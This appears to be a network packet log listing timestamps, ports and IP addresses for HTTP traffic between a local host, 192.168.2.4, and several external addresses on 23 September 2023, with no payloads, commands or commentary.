Sep 23, 2023 17:53:36.843682051 CEST	80	49840	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:36.843700886 CEST	80	49840	5.42.92.211	192.168.2.4
Sep 23, 2023 17:53:36.843766928 CEST	49840	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:36.843802929 CEST	49840	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:36.854311943 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:36.854604006 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:36.865725040 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:36.884289980 CEST	49840	80	192.168.2.4	5.42.92.211
Sep 23, 2023 17:53:36.903069973 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:36.903160095 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.076704025 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.081707954 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.223613977 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.223751068 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.223805904 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.223864079 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.229485989 CEST	80	49841	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.229546070 CEST	49841	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.405900955 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.406012058 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.428561926 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.428580999 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:37.749504089 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.749547958 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.764673948 CEST	80	49844	77.91.68.29	192.168.2.4
Sep 23, 2023 17:53:37.781632900 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:37.782032013 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:37.868832111 CEST	49844	80	192.168.2.4	77.91.68.29
Sep 23, 2023 17:53:38.101253033 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.101351976 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.108397961 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.110516071 CEST	80	49827	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.110579967 CEST	49827	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.427804947 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431087017 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431128025 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431154966 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431189060 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431366920 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431407928 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431467056 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431514025 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431557894 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431597948 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431608915 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431655884 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431689024 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431718111 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431730986 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431759119 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431787968 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431811094 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.431828976 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.431850910 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750215054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750637054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750674009 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750746965 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750785112 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750802040 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750802994 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750802994 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750822067 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750835896 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750859976 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.750869036 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750902891 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.750931025 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.751089096 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.751106024 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.751135111 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.751192093 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.751229048 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.751272917 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:38.751319885 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:38.935072899 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.070303917 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071619034 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071655989 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071687937 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071692944 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071712017 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071739912 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071763039 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071799994 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071810007 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071837902 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071842909 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071875095 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071881056 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071912050 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071923971 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071947098 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071957111 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.071984053 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.071990967 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.072020054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.072026014 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.072056055 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.072062969 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.072098970 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.253968000 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.341258049 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.390753984 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.390799999 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.390870094 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.390868902 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.390904903 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.390913963 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.390925884 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.390940905 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.390969038 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.390976906 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.390993118 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391031981 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391051054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391103983 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391120911 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391169071 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391191006 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391227007 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391307116 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391307116 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391323090 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391359091 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391379118 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391408920 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391486883 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391534090 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391554117 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391602039 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391650915 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391688108 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391724110 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391733885 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391760111 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391767979 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391805887 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.391928911 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.391973019 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.392025948 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.392070055 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.392152071 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.392219067 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.392254114 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.660892010 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.660937071 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.660972118 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.661024094 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710623026 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710663080 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710697889 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710721016 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710721016 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710733891 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710757971 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710772038 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710781097 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710808039 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710808992 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710843086 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710855007 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710882902 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710894108 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710920095 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710928917 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710956097 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.710963964 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.710992098 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711004019 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711028099 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711035013 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711062908 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711071968 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711113930 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711150885 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711158037 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711189032 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711195946 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711225033 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711231947 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711261034 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711267948 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711296082 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711307049 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711340904 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711378098 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711414099 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711422920 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711450100 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711456060 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711484909 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711492062 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711519957 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711529016 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711555958 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711563110 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711591005 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711599112 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711626053 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711637020 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711662054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711668968 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711699009 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711705923 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711734056 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711769104 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711780071 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711805105 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711811066 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711841106 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711847067 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711878061 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711884022 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711913109 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711924076 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711949110 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711956978 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.711985111 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.711993933 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712022066 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712058067 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712064028 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712093115 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712100029 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712129116 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712136030 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712165117 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712172031 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712202072 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712208033 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712239027 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.712244034 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.712281942 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.980140924 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.980195999 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.980227947 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.980232954 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.980261087 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.980273008 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:39.980479002 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:39.980479002 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.031378984 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.031800985 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.031857967 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.031893015 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.031939983 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.032119989 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.032160044 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.032160044 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.032198906 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.032629013 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.032670021 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.032685995 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.032727003 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033437967 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033477068 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033504963 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033521891 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033545017 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033560991 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033605099 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033644915 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033653021 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033684015 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033830881 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033870935 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033915043 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033931017 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.033957005 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033973932 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.033991098 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034034967 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034064054 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034105062 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034116030 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034156084 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034292936 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034334898 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034379005 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034420967 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034423113 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034471989 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034471989 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034523010 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034538031 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034579039 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034607887 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034625053 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034641027 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034650087 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034660101 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034677982 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034712076 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034748077 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034774065 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034790039 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034806013 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034864902 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034881115 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034897089 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.034929991 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034945965 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.034960985 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035001040 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035125971 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035166025 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035171032 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035208941 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035233974 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035264969 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035283089 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035298109 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035341024 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035382032 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035404921 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035445929 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035625935 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035666943 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035686016 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035727024 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035754919 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035795927 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035840034 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035880089 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035907984 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035923958 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.035953045 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.035969973 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.036062956 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.036081076 CEST	80	49845	77.91.68.78	192.168.2.4
Sep 23, 2023 17:53:40.036108971 CEST	49845	80	192.168.2.4	77.91.68.78
Sep 23, 2023 17:53:40.036123991 CEST	49845	80	192.168.2.4	77.91.68.78
